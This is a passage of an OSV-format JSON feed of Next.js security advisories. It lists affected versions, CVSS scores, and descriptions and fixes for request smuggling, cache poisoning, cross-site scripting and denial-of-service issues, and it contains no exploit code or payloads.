"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47831"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/d11cbc9ff0b1aaefabcba9afe1e562e0b1fde65a"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-c4wf-8f54-jxwp"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Denial of Service condition in Next.js image optimization"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-ggv3-7p47-pfv8/GHSA-ggv3-7p47-pfv8.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0-beta.0"
|
||
},
|
||
{
|
||
"fixed": "16.1.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-ggv3-7p47-pfv8/GHSA-ggv3-7p47-pfv8.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "9.5.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.13"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-29057"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-444"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-03-17T16:17:15Z",
|
||
"nvd_published_at": "2026-03-18T01:16:05Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "## Summary\nWhen Next.js rewrites proxy traffic to an external backend, a crafted `DELETE`/`OPTIONS` request using `Transfer-Encoding: chunked` could trigger request boundary disagreement between the proxy and backend. This could allow request smuggling through rewritten routes.\n\n## Impact\nAn attacker could smuggle a second request to unintended backend routes (for example, internal/admin endpoints), bypassing assumptions that only the configured rewrite destination/path is reachable. This does not impact applications hosted on providers that handle rewrites at the CDN level, such as Vercel. \n\n## Patches\nThe vulnerability originated in an upstream library vendored by Next.js. It is fixed by updating that dependency’s behavior so `content-length: 0` is added only when both `content-length` and `transfer-encoding` are absent, and `transfer-encoding` is no longer removed in that code path.\n\n## Workarounds\nIf upgrade is not immediately possible:\n- Block chunked `DELETE`/`OPTIONS` requests on rewritten routes at your edge/proxy.\n- Enforce authentication/authorization on backend routes per our [security guidance](https://nextjs.org/docs/app/guides/data-security).",
|
||
"id": "GHSA-ggv3-7p47-pfv8",
|
||
"modified": "2026-03-19T17:59:01.302251Z",
|
||
"published": "2026-03-17T16:17:15Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-ggv3-7p47-pfv8"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29057"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.13"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.1.7"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-w92q-ghc3-3hj2"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Next.js: HTTP request smuggling in rewrites"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-gp8f-8m3g-qvj9/GHSA-gp8f-8m3g-qvj9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.5.1"
|
||
},
|
||
{
|
||
"fixed": "13.5.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-gp8f-8m3g-qvj9/GHSA-gp8f-8m3g-qvj9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "14.0.0"
|
||
},
|
||
{
|
||
"fixed": "14.2.10"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-46982"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-349",
|
||
"CWE-639"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2024-09-17T21:58:09Z",
|
||
"nvd_published_at": "2024-09-17T22:15:02Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nBy sending a crafted HTTP request, it is possible to poison the cache of a non-dynamic server-side rendered route in the pages router (this does not affect the app router). When this crafted request is sent it could coerce Next.js to cache a route that is meant to not be cached and send a `Cache-Control: s-maxage=1, stale-while-revalidate` header which some upstream CDNs may cache as well. \n\nTo be potentially affected all of the following must apply: \n\n- Next.js between 13.5.1 and 14.2.9\n- Using pages router\n- Using non-dynamic server-side rendered routes e.g. `pages/dashboard.tsx` not `pages/blog/[slug].tsx`\n\nThe below configurations are unaffected:\n\n- Deployments using only app router\n- Deployments on [Vercel](https://vercel.com/) are not affected\n\n\n### Patches\n\nThis vulnerability was resolved in Next.js v13.5.7, v14.2.10, and later. We recommend upgrading regardless of whether you can reproduce the issue or not.\n\n### Workarounds\n\nThere are no official or recommended workarounds for this issue, we recommend that users patch to a safe version.\n\n#### Credits\n\n- Allam Rachid (zhero_)\n- Henry Chen",
|
||
"id": "GHSA-gp8f-8m3g-qvj9",
|
||
"modified": "2026-02-04T03:45:33.402195Z",
|
||
"published": "2024-09-17T21:58:09Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-gp8f-8m3g-qvj9"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46982"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/7ed7f125e07ef0517a331009ed7e32691ba403d3"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/bd164d53af259c05f1ab434004bcfdd3837d7cda"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-gc23-jp54-8cg6"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Next.js Cache Poisoning"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-gx5p-jg67-6x7h/GHSA-gx5p-jg67-6x7h.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-gx5p-jg67-6x7h/GHSA-gx5p-jg67-6x7h.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44580"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-79"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T15:56:38Z",
|
||
"nvd_published_at": "2026-05-13T18:16:18Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\n\nApplications that use `beforeInteractive` scripts together with untrusted content can be vulnerable to cross-site scripting. In affected versions, serialized script content was not escaped safely before being embedded into the document, which could allow attacker-controlled input to break out of the intended script context and execute arbitrary JavaScript in a visitor's browser.\n\n### Fix\n\nWe now HTML-escape serialized `beforeInteractive` script content before embedding it into the page, preventing attacker-controlled content from breaking out of the inline script boundary.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not pass untrusted data into `beforeInteractive` scripts. If that pattern is unavoidable, sanitize or escape the content before embedding it.",
|
||
"id": "GHSA-gx5p-jg67-6x7h",
|
||
"modified": "2026-05-14T20:51:25.401511Z",
|
||
"published": "2026-05-11T15:56:38Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-gx5p-jg67-6x7h"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44580"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-h76m-2q9m-82h7"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js has cross-site scripting in beforeInteractive scripts with untrusted input"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.0.8"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.1.1-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.1.12"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.2.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.2.9"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.3.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.3.9"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.4.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.4.11"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.5.1-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.10"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.6.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.6.0-canary.61"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0-beta.0"
|
||
},
|
||
{
|
||
"fixed": "16.0.11"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.1.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "16.1.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-400",
|
||
"CWE-502"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-01-28T15:38:01Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23864](https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg).\n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.",
|
||
"id": "GHSA-h25m-26qc-wcjf",
|
||
"modified": "2026-02-13T00:43:52.836085Z",
|
||
"published": "2026-01-28T15:38:01Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-h25m-26qc-wcjf"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23864"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/summary-of-cve-2026-23864"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-3522-gcqm-wf8x"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h64f-5h5j-jqjh/GHSA-h64f-5h5j-jqjh.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "10.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h64f-5h5j-jqjh/GHSA-h64f-5h5j-jqjh.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44577"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-770"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T15:56:05Z",
|
||
"nvd_published_at": "2026-05-13T17:16:23Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\n\nWhen self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the `/_next/image` endpoint that match the `images.localPatterns` configuration (by default, all patterns are allowed).\n\n- If you are using `images.localPatterns`, only the patterns in that array are impacted.\n- If you are using `images.unoptimized: true`, you are NOT impacted.\n- If you are using `images.loader: 'custom'`, you are NOT impacted.\n- If you are using Vercel, you are NOT impacted.\n\n### Fix\n\nWe now apply response size limits consistently to internal image fetches, not just external ones, and fail oversized responses before they can exhaust process memory.\n\nThis can be adjusted using the `images.maximumResponseBody` configuration.\n\n### Workarounds\n\nIf you cannot upgrade immediately, avoid routing large local assets through `/_next/image`, disable image optimization for large or untrusted local files, or block image optimization access to those assets at the edge.\n\nYou can disable using the `images.localPatterns: []` configuration. This will still allow fetching remote images (which is not impacted).",
|
||
"id": "GHSA-h64f-5h5j-jqjh",
|
||
"modified": "2026-05-14T20:51:26.606230Z",
|
||
"published": "2026-05-11T15:56:05Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-h64f-5h5j-jqjh"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44577"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-8jfq-2ff9-76fh"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js has a Denial of Service in the Image Optimization API"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.3.0"
|
||
},
|
||
{
|
||
"fixed": "14.2.34"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.0.6"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.1.1-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.1.10"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.2.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.2.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.3.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.3.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.4.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.4.9"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.5.1-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.8"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.6.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.6.0-canary.59"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0-beta.0"
|
||
},
|
||
{
|
||
"fixed": "16.0.9"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.1.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "16.1.0-canary.17"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1395",
|
||
"CWE-400",
|
||
"CWE-502"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-12-11T22:49:27Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55184](https://www.cve.org/CVERecord?id=CVE-2025-55184).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.",
|
||
"id": "GHSA-mwv6-3258-q52c",
|
||
"modified": "2026-02-04T03:55:54.855562Z",
|
||
"published": "2025-12-11T22:49:27Z",
|
||
"references": [
|
||
{
|
||
